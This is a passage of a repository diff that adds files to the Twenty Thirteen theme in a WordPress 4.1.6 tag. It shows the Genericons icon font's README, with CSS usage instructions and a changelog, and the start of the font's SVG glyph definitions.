+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/README.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/README.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/README.txt	(revision 33402)
@@ -0,0 +1,123 @@
+  ___  ____  __ _  ____  ____  __  ___  __   __ _  ____ 
+ / __)(  __)(  ( \(  __)(  _ \(  )/ __)/  \ (  ( \/ ___)
+( (_ \ ) _) /    / ) _)  )   / )(( (__(  O )/    /\___ \
+ \___/(____)\_)__)(____)(__\_)(__)\___)\__/ \_)__)(____/
+
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+_  _ ____ ____ ____ ____ 
+|  | [__  |__| | __ |___ 
+|__| ___] |  | |__] |___ 
+
+
+To use it, place the font folder in your stylesheet directory and paste this in your CSS file:
+
+/* =Genericons, thanks to FontSquirrel.com for conversion!
+-------------------------------------------------------------- */
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+    src: url('font/genericons-regular-webfont.eot?#iefix') format('embedded-opentype'),
+         url('font/genericons-regular-webfont.woff') format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+
+}
+
+Note: the above only works if you don't use a CDN. If you do, or don't know what that is, you should use the syntax that's embedded in genericons.css.
+
+From then on, you can create an icon like this:
+
+.my-icon:before {
+	content: '\f101';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 16px/1 'Genericons';
+	vertical-align: top;
+}
+
+This will output a comment icon before every element with the class "my-icon". The "content: '\f101';" part of this CSS is easily copied from the helper tool at http://genericons.com/
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+_  _ ____ ___ ____ ____ 
+|\ | |  |  |  |___ [__  
+| \| |__|  |  |___ ___]
+
+
+Photoshop mockups:
+
+Genericons-Regular.otf found in the root directory of this zip has not been web-font-ified. So you can drop it in your system fonts folder and use the font in Photoshop if you like.
+
+For those of you using Genericons in your Photoshop mockup, remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+Pixel grid:
+
+Note that Genericons has been designed for a 16x16 pixel grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll also look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible.
+
+Also note the CSS property "-webkit-font-smoothing: antialiased". That makes the icons look great in WebKit browsers. Please see http://noscope.com/2012/font-smoothing for more info.
+
+Updates:
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+
+____ _  _ ____ _  _ ____ ____ _    ____ ____ 
+|    |__| |__| |\ | | __ |___ |    |  | | __ 
+|___ |  | |  | | \| |__] |___ |___ |__| |__] 
+
+V3.0.3:
+Bunch of updates mostly.
+- Two new icons, Dropbox and Fullscreen.
+- Updates to all icons containing an exclamation mark.
+- Updates to Image and Quote.
+- Nicer "Share" icon.
+- Bigger default Linkedin icon.
+
+V3.0.2: 
+A slew of new stuff and updates.
+- Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+- New generic icons: heart, lock and print.
+- New editing icons: code, bold, italic, image
+- New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+- The hyperlink icon has been updated to be clearer, chunkier.
+- The "home" icon has been updated for style, size and clarity.
+- The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+- The document icon has been updated for style.
+- The "pin" icon has been updated for style and clarity.
+- The Twitter icon has been scaled down to fit with the other social icons.
+
+V3.0.1: 
+Mostly maintenance. 
+- Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+- Added inverse Google+ and Path.
+- Replaced tabs with spaces in the helper CSS.
+- Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+V3.0:
+Mainly maintenance and a few new icons.
+- Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+- Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+- So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+- Genericons.com now has a mini release blog.
+- The CSS has prettier formatting, props Konstantin Obenland.
+
+V2.09:
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+V2.06:
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+V2.05:
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+V2:
+Initial public release
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg	(revision 33402)
@@ -0,0 +1,135 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata></metadata>
+<defs>
+<font id="genericonsregular" horiz-adv-x="2048" >
+<font-face units-per-em="2048" ascent="1638" descent="-410" />
+<missing-glyph horiz-adv-x="500" />
+<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
+<glyph unicode="&#xf100;" d="M512 512v128h768v-128h-768zM512 768v128h256v-128h-256zM512 1024v128h640v-128h-640zM512 1280v128h1024v-128h-1024zM896 768v128h640v-128h-640zM1280 1024v128h256v-128h-256z" />
+<glyph unicode="&#xf101;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM768 1024q0 -106 75 -181t181 -75t181 75t75 181t-75 181t-181 75t-181 -75t-75 -181z" />
+<glyph unicode="&#xf102;" d="M128 384v896l512 128l128 256h512l128 -256l512 -128v-896h-1792zM256 1440v160h256v-96zM576 960q0 -185 131.5 -316.5t316.5 -131.5q186 0 317 131.5t131 316.5q0 186 -131 317t-317 131q-185 0 -316.5 -131t-131.5 -317zM704 960q0 133 93.5 226.5t226.5 93.5 t226.5 -93.5t93.5 -226.5q0 -132 -93.5 -226t-226.5 -94t-226.5 94t-93.5 226z" />
+<glyph unicode="&#xf103;" d="M128 512v384h384v-384h-384zM128 1024v384h896v-384h-896zM640 512v384h384v-384h-384zM1152 512v896h896v-896h-896z" />
+<glyph unicode="&#xf104;" d="M512 384v1280l1152 -640z" />
+<glyph unicode="&#xf105;" d="M640 1408q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5q0 -124 -71.5 -222t-184.5 -138v-536l-256 -128v664q-113 40 -184.5 138t-71.5 222z" />
+<glyph unicode="&#xf106;" d="M256 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384zM1152 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384z" />
+<glyph unicode="&#xf107;" d="M512 704v384q0 97 53 176.5t139 116.5v-151q-64 -57 -64 -142v-384q0 -80 56 -136t136 -56t136 56t56 136v384q0 85 -64 142v151q86 -37 139 -116.5t53 -176.5v-384q0 -133 -93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5zM768 1088v384q0 133 93.5 226.5 t226.5 93.5t226.5 -93.5t93.5 -226.5v-384q0 -97 -53 -176.5t-139 -116.5v151q64 57 64 142v384q0 80 -56 136t-136 56t-136 -56t-56 -136v-384q0 -85 64 -142v-151q-86 37 -139 116.5t-53 176.5z" />
+<glyph unicode="&#xf108;" d="M0 1152v384q0 96 80 176t176 80h1024q96 0 176 -80t80 -176v-384q0 -96 -80 -176t-176 -80h-448l-448 -448v448h-128q-96 0 -176 80t-80 176zM768 640l128 128h384q168 0 276 108t108 276v384q96 0 176 -80t80 -176v-384q0 -96 -80 -176t-176 -80h-128v-448l-448 448 h-320z" />
+<glyph unicode="&#xf109;" d="M256 768v512h384l384 384v-1280l-384 384h-384zM1205 843q75 75 75 181t-75 181l91 91q26 -27 46.5 -57.5t35 -65t22.5 -72.5t8 -77q0 -78 -29.5 -148t-82.5 -124zM1386 662q71 71 110.5 164.5t39.5 197.5t-39.5 197.5t-110.5 164.5l91 91q88 -89 137.5 -206t49.5 -247 q0 -87 -23 -170t-64.5 -153.5t-99.5 -129.5z" />
+<glyph unicode="&#xf200;" d="M0 1024q0 208 81 398t218.5 327t327 218t397.5 81q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5q0 -335 -195.5 -601.5t-504.5 -369.5q-36 -7 -53 8.5t-17 40.5q0 4 0.5 102t0.5 179q0 130 -69 189q77 9 137.5 24.5t124.5 51.5t107 89t70.5 140t27.5 201 q0 161 -105 274q6 15 11 35t9 56t-3.5 83.5t-26.5 96.5q-4 1 -10.5 2t-32 -1t-55.5 -11t-79.5 -33.5t-104.5 -61.5q-118 33 -256 35q-138 -2 -256 -35q-55 37 -104 61.5t-80 33t-54.5 11.5t-33.5 1l-10 -2q-58 -146 -10 -271q-105 -115 -105 -274q0 -114 27.5 -201 t70.5 -140t107 -89t124.5 -52t136.5 -24q-53 -47 -65 -137q-28 -13 -59.5 -20t-75.5 -6.5t-87.5 28.5t-75.5 83q-2 4 -6.5 10.5t-19 24t-31.5 31t-44 25.5t-56 14h-10t-18.5 -3.5t-17 -9t4 -18.5t34.5 -31q3 -1 7.5 -4t19 -14.5t27.5 -27t30 -43.5t30 -61q1 -3 2.5 -7t8 -17 t15.5 -25.5t24.5 -28t33.5 -28t45 -23.5t57.5 -16t71.5 -3.5t87 11.5q0 -50 0.5 -110t0.5 -64q0 -24 -17 -40t-53 -10q-309 103 -504.5 370t-195.5 602z" />
+<glyph unicode="&#xf201;" d="M0 1024q0 206 82 395.5t219.5 327t327 219.5t395.5 82t395.5 -82t327 -219.5t219.5 -327t82 -395.5t-82 -395.5t-219.5 -327t-327 -219.5t-395.5 -82t-395.5 82t-327 219.5t-219.5 327t-82 395.5zM128 1024q0 -167 58 -319.5t166 -272.5q125 205 339 360t445 232 q-16 48 -80 176q-282 -86 -481.5 -111t-446.5 -1v-64zM160 1232q194 -22 444 14t388 82q-141 282 -320 528q-194 -85 -329.5 -247.5t-182.5 -376.5zM480 320q216 -192 544 -192q181 0 368 80q-33 300 -208 688q-222 -74 -410 -225.5t-294 -350.5zM832 1904 q102 -166 304 -512q6 2 86 31t118.5 45t108 47t122 64t93.5 69q-126 126 -290.5 199t-349.5 73q-32 0 -96 -8t-96 -8zM1200 1248q22 -29 36.5 -54.5t34 -67.5t25.5 -54q170 33 336 30t288 -30q-26 285 -160 464q-71 -57 -162 -104.5t-214.5 -100.5t-183.5 -83zM1344 928 q14 -27 43 -103t74.5 -231t74.5 -306q156 108 258 278t126 362q-276 46 -576 0z" />
+<glyph unicode="&#xf202;" d="M128 465q48 -5 88 -5q256 0 456 157q-119 2 -213 73.5t-130 182.5q39 -7 69 -7q47 0 97 13q-127 26 -211 127t-84 233v5q80 -43 167 -46q-76 50 -120 131t-44 175q0 101 50 185q138 -170 335 -271.5t423 -112.5q-10 39 -10 84q0 152 108 259.5t260 107.5q160 0 268 -116 q128 26 233 89q-42 -132 -161 -203q109 13 211 58q-73 -111 -183 -191q0 -7 0.5 -23t0.5 -24q0 -122 -31 -246t-89.5 -241t-149.5 -218.5t-204 -177.5t-260.5 -119.5t-311.5 -43.5q-305 0 -564 165z" />
+<glyph unicode="&#xf203;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-282v711h270l12 260h-282v192v12q0 60 21.5 87.5t87.5 27.5l166 -1l6 242q-78 10 -183 10q-94 0 -167 -27.5t-117 -74.5t-66 -105.5t-22 -126.5v-236h-254v-260h254v-711 h-724q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf204;" d="M640 969v303h222v258q0 78 26 147t77 124t136.5 87t194.5 32q55 0 108 -3t79 -6l26 -3l-7 -282h-193q-76 0 -101.5 -32t-25.5 -101v-14v-207h329l-14 -303h-315v-841h-320v841h-222z" />
+<glyph unicode="&#xf205;" d="M128 1024q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348zM218 1024q0 -236 125 -430.5t330 -294.5l-385 1053q-70 -156 -70 -328zM351 1466h52q37 0 91 2.5t89 4.5 l34 3q21 1 30.5 -14.5t2.5 -32.5t-27 -20q-44 -5 -93 -7l294 -873l176 529l-125 344l-85 7q-20 2 -27.5 19t2.5 33t30 15q133 -10 212 -10q38 0 91.5 2.5t88.5 4.5l35 3q16 1 25.5 -8.5t10 -22t-7 -23.5t-23.5 -13q-43 -5 -92 -7l291 -866l81 268q24 79 32.5 107.5 t18.5 74.5t10 79q0 46 -11.5 90.5t-23.5 71t-32 60.5q-2 4 -11.5 19t-12 20t-10.5 18.5t-11 19t-9 17.5t-8.5 19t-6.5 18t-5.5 19.5t-3 18.5t-1.5 20q0 57 39 100t97 43l10 -1q-110 101 -249.5 156.5t-294.5 55.5q-207 0 -385 -98t-288 -266zM796 251q112 -33 228 -33 q138 0 268 46q-4 6 -6 11l-248 679zM1429 328q183 106 292 291.5t109 404.5q0 207 -99 386q5 -40 5 -82q0 -135 -61 -289z" />
+<glyph unicode="&#xf206;" d="M128 486v485q125 -127 330 -127q30 0 59 3q-32 -61 -32 -118q0 -33 13 -63t28.5 -48.5t45.5 -47.5q-18 0 -54.5 -0.5t-55.5 -0.5q-183 0 -334 -83zM128 1599v65q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-128h-256v256h-128v-256h-256v-128h256v-256h128v256h256 v-1024q0 -106 -75 -181t-181 -75h-507q5 28 5 50q0 143 -46.5 230t-189.5 194q-3 2 -20.5 15t-25 19t-25.5 20t-27.5 22.5t-24 22t-23 23.5t-17 22t-12.5 22.5t-4 20.5q0 52 23 87t99 94q180 141 180 324q0 113 -45 204.5t-128 139.5h160l135 142h-607q-127 0 -241.5 -49 t-194.5 -132zM139 309q57 85 166 137.5t237 51.5q84 -1 158 -26q19 -13 62 -42.5t61 -42t48 -37t44.5 -41.5t29 -41.5t21.5 -49.5q7 -29 7 -66q0 -16 -1 -24h-588q-85 0 -153 50.5t-92 130.5zM228 1307q-21 161 50.5 269.5t194.5 104.5q121 -4 215.5 -118.5t116.5 -277.5 q21 -160 -43 -256t-187 -92q-125 4 -225.5 108t-121.5 262z" />
+<glyph unicode="&#xf207;" d="M256 1553q0 -73 50.5 -122t131.5 -49h2q84 0 135 49t51 122q-1 75 -51 123t-133 48t-134.5 -48.5t-51.5 -122.5zM275 256h330v991h-330v-991zM787 256h329v553q0 54 11 81q20 50 63 85t106 35q58 0 96 -29t54.5 -77.5t16.5 -117.5v-530h329v568q0 112 -28.5 198 t-80 139.5t-120 81t-150.5 27.5q-36 0 -69 -5.5t-58.5 -15t-49 -23t-40 -27t-32.5 -31t-26.5 -31.5t-21.5 -31v141h-329q1 -26 1.5 -138t0.5 -252.5t-0.5 -277.5t-1.5 -230v-93z" />
+<glyph unicode="&#xf208;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM384 1422q0 -58 40.5 -97.5t105.5 -39.5h1q67 0 108.5 39.5t41.5 97.5q-2 60 -42 98.5t-106 38.5q-67 0 -108 -39t-41 -98zM400 384h263 v793h-263v-793zM809 384h264v443q0 45 8 64q16 40 50.5 68t85.5 28q133 0 133 -179v-424h264v455q0 175 -83.5 266t-220.5 91q-50 0 -90.5 -12t-68.5 -34t-45 -41t-33 -44v112h-264v-793z" />
+<glyph unicode="&#xf209;" d="M171 1260q0 109 35.5 219t110 213t179 182t254 126.5t323.5 47.5q176 0 327.5 -60.5t253.5 -161t160 -231t58 -270.5q0 -246 -85 -443t-241 -309.5t-355 -112.5q-99 0 -186.5 46.5t-121.5 110.5q-73 -290 -89 -347q-34 -123 -127 -270l-149 54q-7 167 22 290l162 688 q-40 81 -40 200q0 139 70.5 232.5t172.5 93.5q83 0 127 -53.5t44 -135.5q0 -51 -18.5 -124t-49 -170t-44.5 -154q-23 -99 37.5 -171t161.5 -72q117 0 209.5 92t142 244.5t49.5 334.5q0 214 -139 349t-387 135q-139 0 -257.5 -49.5t-197 -133t-122.5 -193t-44 -229.5 q0 -147 83 -247q18 -21 21.5 -34t-3.5 -37q-16 -61 -25 -101q-7 -24 -24.5 -32t-39.5 1q-127 51 -192.5 181.5t-65.5 300.5z" />
+<glyph unicode="&#xf210;" d="M0 1024q0 208 81 398t218.5 327t327 218t397.5 81q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5t-81 -398.5t-218 -326.5t-326.5 -218t-398.5 -81q-147 0 -290 42q74 116 103 219l72 282q28 -53 99 -90.5t151 -37.5q162 0 288.5 91.5t195.5 251t69 359.5 q0 114 -47 220t-130 187.5t-206.5 130.5t-265.5 49q-141 0 -262 -38.5t-205.5 -103t-145.5 -147.5t-89.5 -172.5t-28.5 -178.5q0 -138 53 -243.5t156 -147.5q18 -8 32.5 -1t18.5 26q2 9 10 41t11 41q5 19 2.5 30t-16.5 28q-68 78 -68 200q0 97 35.5 186t99.5 156.5t160 108 t209 40.5q201 0 313.5 -109.5t112.5 -283.5q0 -148 -40 -271.5t-115 -198t-169 -74.5q-82 0 -131.5 58.5t-30.5 138.5q11 46 35.5 125t39.5 138t15 101q0 66 -35.5 109.5t-102.5 43.5q-82 0 -139.5 -76t-57.5 -189q0 -43 8 -83.5t16 -59.5l9 -19q-113 -475 -132 -558 q-24 -97 -18 -235q-275 120 -444 374t-169 564z" />
+<glyph unicode="&#xf211;" d="M160 1024q0 -172 122 -294t294 -122t294 122t122 294t-122 294t-294 122t-294 -122t-122 -294zM1056 1024q0 -172 122 -294t294 -122t294 122t122 294t-122 294t-294 122t-294 -122t-122 -294z" />
+<glyph unicode="&#xf212;" d="M128 1379l84 -108q121 84 141 84q92 0 173 -287l144 -525q108 -287 265 -287q253 0 619 471q353 451 365 710q16 347 -260 355q-373 12 -505 -417q69 29 133 29q136 0 120 -152q-8 -92 -120 -268q-113 -176 -169 -176q-73 0 -133 271q-20 79 -72 407q-49 303 -258 284 q-89 -8 -265 -160q-127 -113 -262 -231z" />
+<glyph unicode="&#xf213;" d="M128 768v512q0 159 112.5 271.5t271.5 112.5h1024q159 0 271.5 -112.5t112.5 -271.5v-512q0 -159 -112.5 -271.5t-271.5 -112.5h-1024q-159 0 -271.5 112.5t-112.5 271.5zM768 640l640 384l-640 384v-768z" />
+<glyph unicode="&#xf214;" d="M472 1186h198v-629q0 -121 26 -187q26 -65 92 -122t161 -89q93 -31 218 -31q110 0 201 22q88 20 208 76v282q-134 -88 -271 -88q-76 0 -136 36q-44 25 -61 70q-17 46 -17 200v460h426v281h-426v453h-255q-17 -139 -62 -228q-48 -93 -121 -154q-74 -64 -181 -99v-253z" />
+<glyph unicode="&#xf215;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM256 384q0 -53 37.5 -90.5t90.5 -37.5h1280q53 0 90.5 37.5t37.5 90.5v768h-272q16 -66 16 -128q0 -212 -150 -362t-362 -150t-362 150 t-150 362q0 62 16 128h-272v-768zM640 1024q0 -159 112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5zM1408 1536q0 -53 37.5 -90.5t90.5 -37.5h128q53 0 90.5 37.5t37.5 90.5v128q0 53 -37.5 90.5t-90.5 37.5 h-128q-53 0 -90.5 -37.5t-37.5 -90.5v-128z" />
+<glyph unicode="&#xf216;" d="M256 790v467q0 31 29 55l702 467q17 11 37 11t37 -11l702 -467q29 -24 29 -55v-467q0 -32 -29 -54l-702 -468q-17 -11 -37 -11q-18 0 -37 11l-702 468q-29 22 -29 54zM388 914l165 110l-165 110v-220zM441 790l517 -344v308l-286 191zM441 1257l231 -154l286 191v307z M791 1024l233 -156l234 156l-234 156zM1090 446l517 344l-231 155l-286 -191v-308zM1090 1294l286 -191l231 154l-517 344v-307zM1495 1024l165 -110v220z" />
+<glyph unicode="&#xf217;" d="M128 1024q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348zM208 1024q0 -221 109.5 -409t297.5 -297.5t409 -109.5q236 0 432 123.5t298 327.5q59 136 59 266 q0 117 -43.5 221.5t-118.5 182.5t-175.5 131t-215.5 73q116 -48 204 -145t127 -218q54 -151 17.5 -320t-150.5 -289q-111 -123 -276 -179t-332 -27q-168 27 -307 138t-210 270q-74 156 -67.5 338.5t93.5 335.5q88 155 238.5 260t328.5 135q2 0 35 6q-208 -16 -380.5 -128 t-272.5 -293.5t-100 -392.5zM359 998q17 -148 100 -275.5t207 -200.5q120 -71 264 -78.5t267 49.5q-76 -21 -148 -21q-149 0 -275.5 74t-200.5 201t-74 276q0 214 146 373l3 3l14 14l1 1q98 114 235 178t293 64q163 0 306 -70t241 -193q-36 57 -70 96q-104 126 -250 200.5 t-305 80.5q-157 7 -306.5 -51.5t-258.5 -169.5q-109 -107 -159 -254.5t-30 -296.5zM612 1025q8 -119 85 -217t186 -128q110 -33 221.5 8.5t170.5 134.5q61 91 50 204t-86 187q-70 77 -179.5 87t-188.5 -50q-85 -62 -105 -157q-21 -98 30 -182q50 -84 142 -108q92 -23 172 26 q38 23 64 58.5t34 76.5q17 88 -34 159q-52 72 -136 77q-83 6 -142 -54q-57 -55 -45 -138q6 -37 27.5 -68.5t52.5 -47.5q40 -21 87 -16q-46 1 -82 29t-49 71l-2 3q-14 30 -9.5 67t25.5 66q22 30 56.5 46.5t72.5 14.5t73.5 -23.5t54.5 -55.5q46 -76 8 -158 q-18 -39 -53.5 -66.5t-78.5 -35.5q-43 -9 -88.5 3.5t-78.5 43.5q-74 68 -68 169q2 65 45 118.5t109.5 77t132.5 5.5q68 -16 118.5 -70.5t65 -124.5t-9.5 -144q-37 -107 -150 -158.5t-224 -8.5q-114 43 -170 158q-55 117 -17 238q35 121 152 191t246 47q131 -19 223 -128 t95 -246q6 -142 -81 -257q-86 -115 -225 -157q-114 -35 -234 -7q83 -34 174 -34q195 0 333.5 138.5t138.5 333.5v2q-10 107 -63.5 202.5t-137.5 157.5q-102 77 -236 87t-243 -49q-116 -62 -177 -167q-61 -107 -52 -231z" />
+<glyph unicode="&#xf218;" d="M128 464q0 -66 32 -125.5t92.5 -107t159 -75.5t222.5 -28q117 0 218.5 25t174 68t124 99.5t76.5 120.5t25 131q0 40 -6.5 74.5t-22.5 65t-30.5 53t-41.5 50t-45 43t-51 44.5l-85 66q-19 15 -28.5 24.5t-21 31t-11.5 45.5t12 47.5t21.5 34.5t32.5 33q37 29 59 48t52 52 t46 64t28 75.5t12 94.5q0 43 -8 82t-23.5 70.5t-30.5 55.5t-38 47.5t-35 34.5t-32 27h146l151 85h-485q-264 0 -421 -129q-73 -64 -111.5 -147.5t-38.5 -167.5q0 -56 16 -109.5t49.5 -100.5t79.5 -82.5t109 -56.5t136 -21q19 0 75 5q0 -2 -4 -10.5t-4.5 -10.5t-3.5 -9.5 t-4 -11l-3 -10.5t-2.5 -12.5t-1 -13t-0.5 -14.5q0 -26 5 -48t18.5 -45t20.5 -32.5t26 -34.5q-61 -4 -98 -7.5t-107 -14.5t-131.5 -32.5t-112.5 -53.5q-50 -29 -86.5 -66.5t-56.5 -76.5t-29 -74.5t-9 -69.5zM335 514q0 47 17 87.5t38.5 64.5t54 45t50.5 28.5t42 16.5 q35 11 76.5 19.5t77.5 12t58.5 5t34.5 1.5q35 0 54 -3q51 -36 82 -59t63.5 -50.5t50.5 -48.5t33.5 -46t21.5 -50.5t6 -55.5q0 -113 -91 -183.5t-255 -70.5q-187 0 -300.5 80t-113.5 207zM453 1591q0 110 51 174q28 35 73.5 56t91.5 21q56 0 105.5 -28.5t83.5 -74.5 t59 -103.5t36.5 -115.5t11.5 -110q0 -113 -59 -172q-18 -19 -44 -33.5t-56.5 -23.5t-58.5 -9q-58 0 -108 28.5t-83.5 73.5t-57.5 101.5t-34.5 111.5t-10.5 104zM1408 1024v128h256v256h128v-256h256v-128h-256v-256h-128v256h-256z" />
+<glyph unicode="&#xf219;" d="M134.5 1267.5q5.5 80.5 41 179.5t102.5 191q70 78 153.5 135t167 86.5t172 45.5t169 15t156.5 -8t137.5 -21t107.5 -26.5t72 -22.5l25 -9q12 -5 32 -14.5t74.5 -45.5t101 -78.5t97 -114.5t78 -153t27.5 -194.5t-40 -238.5q-43 -89 -97 -157.5t-109.5 -110t-115.5 -69 t-115.5 -37t-107.5 -12t-95.5 4t-76 13t-49.5 13.5l-18 6v-277q-1 -3 -2 -9t-6.5 -23t-14 -34t-24.5 -39.5t-36 -42t-51.5 -39.5t-68.5 -33q-52 -19 -107 -20t-97 11.5t-76.5 27.5t-53.5 27l-18 13v280q33 -34 67 -55.5t67.5 -28.5t61.5 11t44 63v946h312v-538l65 -13 q206 -32 329 60q105 78 128 243q2 76 -15.5 141t-49 110.5t-72.5 82.5t-86.5 59.5t-91.5 39t-87.5 24t-73.5 11.5t-52 5h-19l-66 -2q-217 -16 -359 -141q-57 -50 -97 -115q-27 -45 -39.5 -93t-11 -88t10 -78.5t22 -67.5t25.5 -51t21 -33l9 -12l-225 -201q-7 9 -18.5 25 t-40.5 68.5t-49.5 107.5t-34.5 137.5t-8.5 163z" />
+<glyph unicode="&#xf220;" d="M141 1431q0 133 65.5 245.5t178 178t245.5 65.5q141 0 260 -75q69 12 144 12q171 0 327 -66.5t269 -179.5t179.5 -269t66.5 -327q0 -96 -19 -181q51 -106 50 -217q0 -133 -65.5 -245.5t-178 -178t-244.5 -65.5q-123 0 -231 58q-79 -14 -155 -14q-171 0 -327 67t-269 180 t-179.5 269t-66.5 327q0 86 17 169q-67 116 -67 247zM537 775q0 -75 54 -153q52 -76 139 -123q119 -63 302 -63q150 0 263 46q111 46 171 130q59 85 59 188q0 88 -34 149q-35 62 -96 100q-58 39 -143 66q-77 25 -187 49q-89 20 -116 28q-35 9 -68 27q-33 15 -50 38 q-17 20 -17 49q0 46 52 80q54 36 146 36q97 0 141 -32q43 -32 75 -94q30 -48 51 -67q25 -22 72 -22q53 0 87 36q34 35 34 81t-25 96q-24 47 -82 92q-57 45 -139 70q-86 26 -197 26q-139 0 -247 -40q-107 -39 -164 -113q-57 -73 -57 -170q0 -102 55 -170q52 -65 144 -105 q95 -40 221 -66q93 -20 154 -38q57 -19 90 -50q33 -30 33 -80q0 -64 -62 -105q-65 -44 -170 -44q-78 0 -123 22q-47 22 -70 54q-27 34 -49 86q-21 49 -49 72q-32 26 -75 26q-52 0 -87 -33q-36 -33 -36 -79z" />
+<glyph unicode="&#xf221;" d="M384 384v640h192q49 0 104 47t103.5 127.5t80.5 204.5t32 261q0 5 0.5 13.5t4 31t9.5 39t19 30.5t31 14q33 0 77.5 -42t79.5 -119t35 -159q0 -85 -8 -165t-16 -117l-8 -38h416q53 0 90.5 -37.5t37.5 -90.5q0 -41 -24 -74t-62 -46q22 -33 22 -72q0 -41 -24 -74t-62 -46 q22 -33 22 -72q0 -53 -37.5 -90.5t-90.5 -37.5h-64q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-448q-65 0 -123 20t-93.5 44t-80.5 44t-87 20h-128z" />
+<glyph unicode="&#xf222;" d="M205 1168q0 83 59 142t142 59q100 0 160 -83q183 97 412 106l92 457q5 22 23 33q18 12 39 7l313 -72q24 41 65.5 65.5t89.5 24.5q74 0 126.5 -52.5t52.5 -126.5t-52.5 -126.5t-126.5 -52.5q-71 0 -122 48.5t-56 119.5l-262 60l-77 -386q222 -12 397 -108q60 86 163 86 q83 0 141.5 -59t58.5 -142q0 -55 -28 -100.5t-74 -72.5q14 -50 14 -99q0 -135 -98.5 -250t-267.5 -181.5t-368 -66.5t-368.5 66.5t-268 181t-98.5 249.5q0 50 16 104q-44 27 -70.5 71.5t-26.5 97.5zM307 1168q0 -47 40 -75q47 75 132 137q-29 36 -73 36q-41 0 -70 -28.5 t-29 -69.5zM388 896q0 -107 85 -198t230.5 -144t317.5 -53q171 0 316.5 53t230.5 143.5t85 197.5q0 108 -85 199t-230.5 144t-316.5 53q-172 0 -317.5 -53t-230.5 -144t-85 -198zM672 982q0 46 32.5 79t78.5 33q47 0 79.5 -33t32.5 -79t-33 -79t-79 -33t-78.5 33t-32.5 79z M737 739.5q0 21.5 15 36.5t36 15t36 -15q56 -56 